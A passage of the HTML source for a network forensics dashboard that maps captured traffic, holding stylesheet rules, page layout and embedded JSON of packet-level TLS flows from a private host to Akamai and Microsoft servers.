60px 1fr;\n            height: 100vh;\n            width: 100vw;\n        }\n\n        header {\n            grid-column: 1 / 3;\n            background: var(--panel-bg);\n            border-bottom: 1px solid var(--border-ui);\n            display: flex;\n            align-items: center;\n            padding: 0 24px;\n            justify-content: space-between;\n            z-index: 1000;\n        }\n\n        .brand {\n            display: flex;\n            align-items: center;\n            gap: 12px;\n            font-weight: 800;\n            font-size: 1.2rem;\n            color: var(--accent-main);\n        }\n\n        #map-view {\n            position: relative;\n            background: #eee;\n        }\n\n        #side-inspector {\n            background: var(--panel-bg);\n            border-left: 1px solid var(--border-ui);\n            display: flex;\n            flex-direction: column;\n            overflow: hidden;\n            box-shadow: -4px 0 10px rgba(0,0,0,0.02);\n        }\n\n        .inspector-header {\n            padding: 20px;\n            background: #f1f5f9;\n            border-bottom: 1px solid var(--border-ui);\n        }\n\n        .inspector-content {\n            flex: 1;\n            overflow-y: auto;\n            padding: 20px;\n        }\n\n        .info-card {\n            background: #f8fafc;\n            border: 1px solid var(--border-ui);\n            border-radius: 10px;\n            padding: 15px;\n            margin-bottom: 15px;\n        }\n\n        .sec-title {\n            font-size: 0.75rem;\n            text-transform: uppercase;\n            letter-spacing: 0.05em;\n            color: var(--text-secondary);\n            margin-bottom: 10px;\n            font-weight: 700;\n        }\n\n        .data-row {\n            display: flex;\n            justify-content: space-between;\n            margin-bottom: 6px;\n            font-size: 0.85rem;\n        }\n\n        .data-label {\n            color: var(--text-secondary);\n        }\n\n        .data-value {\n            font-weight: 600;\n            word-break: break-all;\n            text-align: right;\n        }\n\n        .packet-list-item {\n            padding: 10px;\n            border: 1px solid var(--border-ui);\n            border-radius: 6px;\n            margin-bottom: 8px;\n            cursor: pointer;\n            transition: all 0.2s;\n            font-size: 0.8rem;\n            display: flex;\n            justify-content: space-between;\n        }\n\n        .packet-list-item:hover {\n            background: #f1f5f9;\n            border-color: var(--accent-main);\n        }\n\n\n        .hex-dump {\n            font-family: 'Fira Code', 'Courier New', monospace;\n            background: #0f172a;\n            color: #38bdf8;\n            padding: 15px;\n            border-radius: 8px;\n            overflow: auto;\n            flex: 1;\n            font-size: 0.85rem;\n            line-height: 1.4;\n        }\n\n        .stat-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 15px;\n        }\n\n        .stat-box {\n            background: var(--panel-bg);\n            border: 1px solid var(--border-ui);\n            padding: 10px;\n            border-radius: 8px;\n            text-align: center;\n        }\n\n        .stat-v {\n            font-size: 1.2rem;\n            font-weight: 700;\n            color: var(--accent-main);\n        }\n\n        .stat-l {\n            font-size: 0.7rem;\n            color: var(--text-secondary);\n        }\n\n        .leaflet-d3-overlay {\n            pointer-events: none;\n        }\n\n        circle {\n            pointer-events: visiblePainted;\n            cursor: pointer;\n            transition: stroke-width 0.2s;\n        }\n\n        path.link {\n            stroke-opacity: 0.6;\n            fill: none;\n            cursor: pointer;\n        }\n\n        .replay-controller {\n            position: absolute;\n            bottom: 20px;\n            left: 50%;\n            transform: translateX(-50%);\n            background: white;\n            padding: 15px 25px;\n            border-radius: 12px;\n            display: flex;\n            align-items: center;\n            gap: 20px;\n            box-shadow: 0 10px 30px rgba(0,0,0,0.1);\n            z-index: 1001;\n            border: 1px solid var(--border-ui);\n            min-width: 500px;\n        }\n\n        .timeline-slider {\n            flex: 1;\n            -webkit-appearance: none;\n            height: 6px;\n            background: #e2e8f0;\n            border-radius: 5px;\n            outline: none;\n        }\n\n        .timeline-slider::-webkit-slider-thumb {\n            -webkit-appearance: none;\n            width: 18px;\n            height: 18px;\n            background: var(--accent-main);\n            border-radius: 50%;\n            cursor: pointer;\n            box-shadow: 0 2px 4px rgba(0,0,0,0.2);\n        }\n\n        .replay-btn {\n            background: var(--accent-main);\n            color: white;\n            border: none;\n            width: 36px;\n            height: 36px;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            cursor: pointer;\n            transition: transform 0.2s;\n        }\n\n        .replay-btn:hover {\n            transform: scale(1.1);\n        }\n\n        .packet-particle {\n            fill: var(--accent-main);\n            filter: drop-shadow(0 0 3px var(--accent-main));\n        }\n\n        .pvt-network-zone {\n            position: absolute;\n            top: 20px;\n            left: 20px;\n            width: 200px;\n            height: 150px;\n            border: 2px dashed #94a3b8;\n            border-radius: 10px;\n            background: rgba(248, 250, 252, 0.8);\n            pointer-events: none;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 0.7rem;\n            color: #64748b;\n            text-transform: uppercase;\n            font-weight: 800;\n            z-index: 1000;\n        }\n    </style>\n</head>\n<body>\n    <div id=\"app-layout\">\n        <header>\n            <div class=\"brand\">\n                <i class=\"fas fa-microchip\"></i> FORENSIC GLOBAL ANALYZER\n            </div>\n            <div class=\"stat-grid\" style=\"gap: 40px;\">\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-nodes\">0</div>\n                    <div class=\"stat-l\">NODES</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-edges\">0</div>\n                    <div class=\"stat-l\">FLOWS</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-pkts\">0</div>\n                    <div class=\"stat-l\">PACKETS</div>\n                </div>\n            </div>\n            <div>\n                <button onclick=\"zoomToWorld()\" class=\"btn\" style=\"padding: 8px 15px; border:1px solid #ccc; border-radius:5px; background:white; cursor:pointer;\">\n                    <i class=\"fas fa-globe\"></i> Reset View\n                </button>\n            </div>\n        </header>\n\n        <div id=\"map-view\">\n            <div id=\"map\" style=\"width: 100%; height: 100%;\"></div>\n            <div class=\"pvt-network-zone\" id=\"pvt-zone\">Internal Assets</div>\n            \n            <div class=\"replay-controller\">\n                <button class=\"replay-btn\" id=\"play-pause\" onclick=\"toggleReplay()\">\n                    <i class=\"fas fa-play\" id=\"play-icon\"></i>\n                </button>\n                <input type=\"range\" class=\"timeline-slider\" id=\"timeline\" min=\"0\" max=\"100\" value=\"0\" oninput=\"seekReplay(this.value)\">\n                <div id=\"time-display\" style=\"font-family: monospace; font-size: 0.8rem; color: var(--text-secondary); width: 140px;\">00:00:00.000</div>\n            </div>\n\n            <div class=\"internal-nodes-tray\" id=\"internal-tray\" style=\"display:none;\">\n                <div class=\"sec-title\">Internal Assets</div>\n                <div id=\"internal-node-list\"></div>\n            </div>\n        </div>\n\n        <div id=\"side-inspector\">\n            <div class=\"inspector-header\">\n                <h2 id=\"inspect-title\">Selection Inspector</h2>\n                <p id=\"inspect-subtitle\" style=\"font-size: 0.8rem; color: var(--text-secondary);\">Select a node or flow on map</p>\n            </div>\n            <div class=\"inspector-content\" id=\"inspect-body\">\n                <div style=\"text-align: center; color: #94a3b8; margin-top: 50px;\">\n                    <i class=\"fas fa-search-location\" style=\"font-size: 3rem; margin-bottom: 20px;\"></i>\n                    <p>Analysis initialized. Click map elements or use replay to investigate flows.</p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    </div>\n\n    <script>\n        const nodes = [{\"id\": \"10.152.152.11\", \"ip\": \"10.152.152.11\", \"packet_count\": 113, \"total_bytes_sent\": 6677, \"total_bytes_received\": 40988, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"ports_used\": [63945, 63964, 64010, 64014], \"first_seen\": 1781446960.636673, \"last_seen\": 1781446971.936651, \"packets\": [{\"num\": 63, \"time\": 1781446968.272074, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 64, \"time\": 1781446968.27312, \"size\": 141, \"direction\": \"sent\"}, {\"num\": 65, \"time\": 1781446968.273124, \"size\": 54, \"direction\": \"received\"}, {\"num\": 66, \"time\": 1781446968.273288, \"size\": 92, \"direction\": \"sent\"}, {\"num\": 67, \"time\": 1781446968.273293, \"size\": 54, \"direction\": \"received\"}, {\"num\": 68, \"time\": 1781446968.273324, \"size\": 170, \"direction\": \"sent\"}, {\"num\": 69, \"time\": 1781446968.273327, \"size\": 54, \"direction\": \"received\"}, {\"num\": 70, \"time\": 1781446968.699235, \"size\": 1082, \"direction\": \"received\"}, {\"num\": 71, \"time\": 1781446968.699449, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 72, \"time\": 1781446968.700142, \"size\": 118, \"direction\": \"sent\"}, {\"num\": 73, \"time\": 1781446968.700149, \"size\": 54, \"direction\": \"received\"}, {\"num\": 74, \"time\": 1781446969.110451, \"size\": 778, \"direction\": \"received\"}, {\"num\": 75, \"time\": 1781446969.110698, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 76, \"time\": 1781446969.111981, \"size\": 124, \"direction\": \"sent\"}, {\"num\": 77, \"time\": 1781446969.111986, \"size\": 54, \"direction\": \"received\"}, {\"num\": 78, \"time\": 1781446969.5847, \"size\": 682, \"direction\": \"received\"}, {\"num\": 79, \"time\": 1781446969.586175, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 80, \"time\": 1781446969.803221, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 81, \"time\": 1781446969.803242, \"size\": 66, \"direction\": \"received\"}, {\"num\": 82, \"time\": 1781446969.803446, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 83, \"time\": 1781446969.803682, \"size\": 262, \"direction\": \"sent\"}, {\"num\": 84, \"time\": 1781446969.803688, \"size\": 54, \"direction\": \"received\"}, {\"num\": 85, \"time\": 1781446970.149226, \"size\": 4102, \"direction\": \"received\"}, {\"num\": 86, \"time\": 1781446970.14923, \"size\": 2974, \"direction\": \"received\"}, {\"num\": 87, \"time\": 1781446970.149514, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 88, \"time\": 1781446970.14952, \"size\": 1233, \"direction\": \"received\"}, {\"num\": 89, \"time\": 1781446970.149595, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 90, \"time\": 1781446970.158902, \"size\": 212, \"direction\": \"sent\"}, {\"num\": 91, \"time\": 1781446970.15892, \"size\": 54, \"direction\": \"received\"}, {\"num\": 92, \"time\": 1781446970.616856, \"size\": 481, \"direction\": \"received\"}, {\"num\": 93, \"time\": 1781446970.617039, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 94, \"time\": 1781446970.617995, \"size\": 141, \"direction\": \"sent\"}, {\"num\": 95, \"time\": 1781446970.618021, \"size\": 54, \"direction\": \"received\"}, {\"num\": 96, \"time\": 1781446970.618029, \"size\": 170, \"direction\": \"sent\"}, {\"num\": 97, \"time\": 1781446970.618035, \"size\": 54, \"direction\": \"received\"}, {\"num\": 98, \"time\": 1781446970.618076, \"size\": 92, \"direction\": \"sent\"}, {\"num\": 99, \"time\": 1781446970.618081, \"size\": 54, \"direction\": \"received\"}, {\"num\": 100, \"time\": 1781446970.973614, \"size\": 1127, \"direction\": \"received\"}, {\"num\": 101, \"time\": 1781446970.973817, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 102, \"time\": 1781446970.974326, \"size\": 118, \"direction\": \"sent\"}, {\"num\": 103, \"time\": 1781446970.974331, \"size\": 54, \"direction\": \"received\"}, {\"num\": 104, \"time\": 1781446971.425031, \"size\": 713, \"direction\": \"received\"}, {\"num\": 105, \"time\": 1781446971.425372, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 106, \"time\": 1781446971.427797, \"size\": 124, \"direction\": \"sent\"}, {\"num\": 107, \"time\": 1781446971.427815, \"size\": 54, \"direction\": \"received\"}, {\"num\": 108, \"time\": 1781446971.929387, \"size\": 682, \"direction\": \"received\"}, {\"num\": 109, \"time\": 1781446971.929735, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 110, \"time\": 1781446971.936302, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 111, \"time\": 1781446971.936602, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 112, \"time\": 1781446971.936651, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": true, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Internal\", \"city\": \"Private Network\", \"lat\": 0.0, \"lon\": 0.0, \"asn\": \"Unknown\", \"isp\": \"Unknown\", \"network\": \"Unknown\"}, \"duration\": 11.299978017807007, \"avg_packet_size\": 421.8141592920354, \"packets_per_second\": 10.00001945330598}, {\"id\": \"2.23.89.83\", \"ip\": \"2.23.89.83\", \"packet_count\": 22, \"total_bytes_sent\": 13312, \"total_bytes_received\": 1795, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"ports_used\": [443], \"first_seen\": 1781446960.636673, \"last_seen\": 1781446962.815264, \"packets\": [{\"num\": 0, \"time\": 1781446960.636673, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1, \"time\": 1781446960.636681, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 2, \"time\": 1781446960.636794, \"size\": 54, \"direction\": \"received\"}, {\"num\": 3, \"time\": 1781446960.637447, \"size\": 240, \"direction\": \"received\"}, {\"num\": 4, \"time\": 1781446960.637459, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 5, \"time\": 1781446961.120385, \"size\": 3756, \"direction\": \"sent\"}, {\"num\": 6, \"time\": 1781446961.120729, \"size\": 54, \"direction\": \"received\"}, {\"num\": 7, \"time\": 1781446961.152754, \"size\": 180, \"direction\": \"received\"}, {\"num\": 8, \"time\": 1781446961.152767, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 9, \"time\": 1781446961.582346, \"size\": 328, \"direction\": \"sent\"}, {\"num\": 10, \"time\": 1781446961.58342, \"size\": 549, \"direction\": \"received\"}, {\"num\": 11, \"time\": 1781446961.583439, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 12, \"time\": 1781446961.918809, \"size\": 3470, \"direction\": \"sent\"}, {\"num\": 13, \"time\": 1781446961.919004, \"size\": 54, \"direction\": \"received\"}, {\"num\": 14, \"time\": 1781446961.929688, \"size\": 4102, \"direction\": \"sent\"}, {\"num\": 15, \"time\": 1781446961.929926, \"size\": 54, \"direction\": \"received\"}, {\"num\": 16, \"time\": 1781446961.929958, \"size\": 687, \"direction\": \"sent\"}, {\"num\": 17, \"time\": 1781446961.977151, \"size\": 54, \"direction\": \"received\"}, {\"num\": 18, \"time\": 1781446962.386513, \"size\": 436, \"direction\": \"received\"}, {\"num\": 19, \"time\": 1781446962.386574, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 25, \"time\": 1781446962.764074, \"size\": 687, \"direction\": \"sent\"}, {\"num\": 26, \"time\": 1781446962.815264, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Sweden\", \"city\": \"Stockholm\", \"lat\": 59.3287, \"lon\": 18.0717, \"asn\": 16625, \"isp\": \"Akamai Technologies, Inc.\", \"network\": \"2.23.88.0/22\"}, \"duration\": 2.178591012954712, \"avg_packet_size\": 686.6818181818181, \"packets_per_second\": 10.098269876805615}, {\"id\": \"132.245.230.33\", \"ip\": \"132.245.230.33\", \"packet_count\": 60, \"total_bytes_sent\": 15920, \"total_bytes_received\": 3265, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"ports_used\": [443], \"first_seen\": 1781446962.701811, \"last_seen\": 1781446971.936651, \"packets\": [{\"num\": 32, \"time\": 1781446964.293628, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 33, \"time\": 1781446964.834528, \"size\": 481, \"direction\": \"sent\"}, {\"num\": 34, \"time\": 1781446964.834763, \"size\": 54, \"direction\": \"received\"}, {\"num\": 35, \"time\": 1781446964.838598, \"size\": 141, \"direction\": \"received\"}, {\"num\": 36, \"time\": 1781446964.838622, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 37, \"time\": 1781446964.838684, \"size\": 92, \"direction\": \"received\"}, {\"num\": 38, \"time\": 1781446964.838688, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 39, \"time\": 1781446964.841284, \"size\": 168, \"direction\": \"received\"}, {\"num\": 40, \"time\": 1781446964.841306, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 41, \"time\": 1781446965.669157, \"size\": 1121, \"direction\": \"sent\"}, {\"num\": 42, \"time\": 1781446965.669366, \"size\": 54, \"direction\": \"received\"}, {\"num\": 43, \"time\": 1781446965.670951, \"size\": 118, \"direction\": \"received\"}, {\"num\": 44, \"time\": 1781446965.670962, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 45, \"time\": 1781446966.405661, \"size\": 777, \"direction\": \"sent\"}, {\"num\": 46, \"time\": 1781446966.405923, \"size\": 54, \"direction\": \"received\"}, {\"num\": 47, \"time\": 1781446966.409096, \"size\": 164, \"direction\": \"received\"}, {\"num\": 48, \"time\": 1781446966.409103, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 49, \"time\": 1781446966.817191, \"size\": 682, \"direction\": \"sent\"}, {\"num\": 50, \"time\": 1781446966.817391, \"size\": 54, \"direction\": \"received\"}, {\"num\": 51, \"time\": 1781446967.222093, \"size\": 66, \"direction\": \"received\"}, {\"num\": 52, \"time\": 1781446967.222113, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 53, \"time\": 1781446967.222443, \"size\": 54, \"direction\": \"received\"}, {\"num\": 54, \"time\": 1781446967.222671, \"size\": 260, \"direction\": \"received\"}, {\"num\": 55, \"time\": 1781446967.222678, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 56, \"time\": 1781446967.837092, \"size\": 1518, \"direction\": \"sent\"}, {\"num\": 57, \"time\": 1781446967.837283, \"size\": 54, \"direction\": \"received\"}, {\"num\": 58, \"time\": 1781446967.844004, \"size\": 2954, \"direction\": \"sent\"}, {\"num\": 59, \"time\": 1781446967.844148, \"size\": 54, \"direction\": \"received\"}, {\"num\": 60, \"time\": 1781446967.84742, \"size\": 212, \"direction\": \"received\"}, {\"num\": 61, \"time\": 1781446967.847427, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 62, \"time\": 1781446968.271917, \"size\": 481, \"direction\": \"sent\"}, {\"num\": 63, \"time\": 1781446968.272074, \"size\": 54, \"direction\": \"received\"}, {\"num\": 64, \"time\": 1781446968.27312, \"size\": 141, \"direction\": \"received\"}, {\"num\": 65, \"time\": 1781446968.273124, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 66, \"time\": 1781446968.273288, \"size\": 92, \"direction\": \"received\"}, {\"num\": 67, \"time\": 1781446968.273293, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 68, \"time\": 1781446968.273324, \"size\": 170, \"direction\": \"received\"}, {\"num\": 69, \"time\": 1781446968.273327, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 70, \"time\": 1781446968.699235, \"size\": 1082, \"direction\": \"sent\"}, {\"num\": 71, \"time\": 1781446968.699449, \"size\": 54, \"direction\": \"received\"}, {\"num\": 72, \"time\": 1781446968.700142, \"size\": 118, \"direction\": \"received\"}, {\"num\": 73, \"time\": 1781446968.700149, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 74, \"time\": 1781446969.110451, \"size\": 778, \"direction\": \"sent\"}, {\"num\": 75, \"time\": 1781446969.110698, \"size\": 54, \"direction\": \"received\"}, {\"num\": 76, \"time\": 1781446969.111981, \"size\": 124, \"direction\": \"received\"}, {\"num\": 77, \"time\": 1781446969.111986, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 78, \"time\": 1781446969.5847, \"size\": 682, \"direction\": \"sent\"}, {\"num\": 79, \"time\": 1781446969.586175, \"size\": 54, \"direction\": \"received\"}, {\"num\": 110, \"time\": 1781446971.936302, \"size\": 54, \"direction\": \"received\"}, {\"num\": 112, \"time\": 1781446971.936651, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Sweden\", \"city\": \"Unknown\", \"lat\": 59.3247, \"lon\": 18.056, \"asn\": 8075, \"isp\": \"Microsoft Corporation\", \"network\": \"132.245.230.0/23\"}, \"duration\": 9.234839916229248, \"avg_packet_size\": 319.75, \"packets_per_second\": 6.497134822505844}, {\"id\": \"40.98.16.46\", \"ip\": \"40.98.16.46\", \"packet_count\": 31, \"total_bytes_sent\": 11756, \"total_bytes_received\": 1617, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"ports_used\": [443], \"first_seen\": 1781446969.803221, \"last_seen\": 1781446971.936602, \"packets\": [{\"num\": 80, \"time\": 1781446969.803221, \"size\": 66, \"direction\": \"received\"}, {\"num\": 81, \"time\": 1781446969.803242, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 82, \"time\": 1781446969.803446, \"size\": 54, \"direction\": \"received\"}, {\"num\": 83, \"time\": 1781446969.803682, \"size\": 262, \"direction\": \"received\"}, {\"num\": 84, \"time\": 1781446969.803688, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 85, \"time\": 1781446970.149226, \"size\": 4102, \"direction\": \"sent\"}, {\"num\": 86, \"time\": 1781446970.14923, \"size\": 2974, \"direction\": \"sent\"}, {\"num\": 87, \"time\": 1781446970.149514, \"size\": 54, \"direction\": \"received\"}, {\"num\": 88, \"time\": 1781446970.14952, \"size\": 1233, \"direction\": \"sent\"}, {\"num\": 89, \"time\": 1781446970.149595, \"size\": 54, \"direction\": \"received\"}, {\"num\": 90, \"time\": 1781446970.158902, \"size\": 212, \"direction\": \"received\"}, {\"num\": 91, \"time\": 1781446970.15892, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 92, \"time\": 1781446970.616856, \"size\": 481, \"direction\": \"sent\"}, {\"num\": 93, \"time\": 1781446970.617039, \"size\": 54, \"direction\": \"received\"}, {\"num\": 94, \"time\": 1781446970.617995, \"size\": 141, \"direction\": \"received\"}, {\"num\": 95, \"time\": 1781446970.618021, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 96, \"time\": 1781446970.618029, \"size\": 170, \"direction\": \"received\"}, {\"num\": 97, \"time\": 1781446970.618035, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 98, \"time\": 1781446970.618076, \"size\": 92, \"direction\": \"received\"}, {\"num\": 99, \"time\": 1781446970.618081, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 100, \"time\": 1781446970.973614, \"size\": 1127, \"direction\": \"sent\"}, {\"num\": 101, \"time\": 1781446970.973817, \"size\": 54, \"direction\": \"received\"}, {\"num\": 102, \"time\": 1781446970.974326, \"size\": 118, \"direction\": \"received\"}, {\"num\": 103, \"time\": 1781446970.974331, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 104, \"time\": 1781446971.425031, \"size\": 713, \"direction\": \"sent\"}, {\"num\": 105, \"time\": 1781446971.425372, \"size\": 54, \"direction\": \"received\"}, {\"num\": 106, \"time\": 1781446971.427797, \"size\": 124, \"direction\": \"received\"}, {\"num\": 107, \"time\": 1781446971.427815, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 108, \"time\": 1781446971.929387, \"size\": 682, \"direction\": \"sent\"}, {\"num\": 109, \"time\": 1781446971.929735, \"size\": 54, \"direction\": \"received\"}, {\"num\": 111, \"time\": 1781446971.936602, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Sweden\", \"city\": \"Unknown\", \"lat\": 59.3247, \"lon\": 18.056, \"asn\": 8075, \"isp\": \"Microsoft Corporation\", \"network\": \"40.98.16.0/23\"}, \"duration\": 2.1333811283111572, \"avg_packet_size\": 431.38709677419354, \"packets_per_second\": 14.530924450681932}];\n        const edges = [{\"source\": \"10.152.152.11\", \"target\": \"2.23.89.83\", \"packet_count\": 11, \"total_bytes\": 1795, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [63945], \"dst_ports\": [443], \"first_packet\": 1781446960.636673, \"last_packet\": 1781446962.815264, \"packets\": [{\"packet_number\": 0, \"timestamp\": 1781446960.636673, \"timestamp_iso\": \"2026-06-14T19:52:40.636673\", \"timestamp_human\": \"2026-06-14 19:52:40.636\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 12207, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63945, \"dst_port\": 443, \"tcp_seq\": 2441337655, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 2, \"timestamp\": 1781446960.636794, \"timestamp_iso\": \"2026-06-14T19:52:40.636794\", \"timestamp_human\": \"2026-06-14 19:52:40.636\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 12208, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63945, \"dst_port\": 443, \"tcp_seq\": 2441337656, \"tcp_ack\": 1884095052, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 3, \"timestamp\": 1781446960.637447, \"timestamp_iso\": \"2026-06-14T19:52:40.637447\", \"timestamp_human\": \"2026-06-14 19:52:40.637\", \"size\": 240, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 12209, \"ip_len\": 226, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63945, \"dst_port\": 443, \"tcp_seq\": 2441337656, \"tcp_ack\": 1884095052, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 6, \"timestamp\": 1781446961.120729, \"timestamp_iso\": \"2026-06-14T19:52:41.120729\", \"timestamp_human\": \"2026-06-14 19:52:41.120\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 12210, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63945, \"dst_port\": 443, \"tcp_seq\": 2441337842, \"tcp_ack\": 1884098754, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 7, \"timestamp\": 1781446961.152754, \"timestamp_iso\": \"2026-06-14T19:52:41.152754\", \"timestamp_human\": \"2026-06-14 19:52:41.152\", \"size\": 180, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 12211, \"ip_len\": 166, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63945, \"dst_port\": 443, \"tcp_seq\": 2441337842, \"tcp_ack\": 1884098754, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 66, \"payload_preview\": \"410447553620e8cbf3728ac0ad4d4681dcef8bb2ef54d145240b92bdc0e47cc87791ec4e26bdbd31bf5d17dcda440c6ea06a8039ca78fc3333a3b5c20f5e0a321bcc\", \"payload_ascii\": \"A\\u0004GU6 rMFTE$\\u000b|wN&1]\\u0017D\\fnj9x33\\u000f^\\n2\\u001b\"}, {\"packet_number\": 10, \"timestamp\": 1781446961.58342, \"timestamp_iso\": \"2026-06-14T19:52:41.583420\", \"timestamp_human\": \"2026-06-14 19:52:41.583\", \"size\": 549, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 12212, \"ip_len\": 535, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63945, \"dst_port\": 443, \"tcp_seq\": 2441337968, \"tcp_ack\": 1884099028, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 13, \"timestamp\": 1781446961.919004, \"timestamp_iso\": \"2026-06-14T19:52:41.919004\", \"timestamp_human\": \"2026-06-14 19:52:41.919\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], 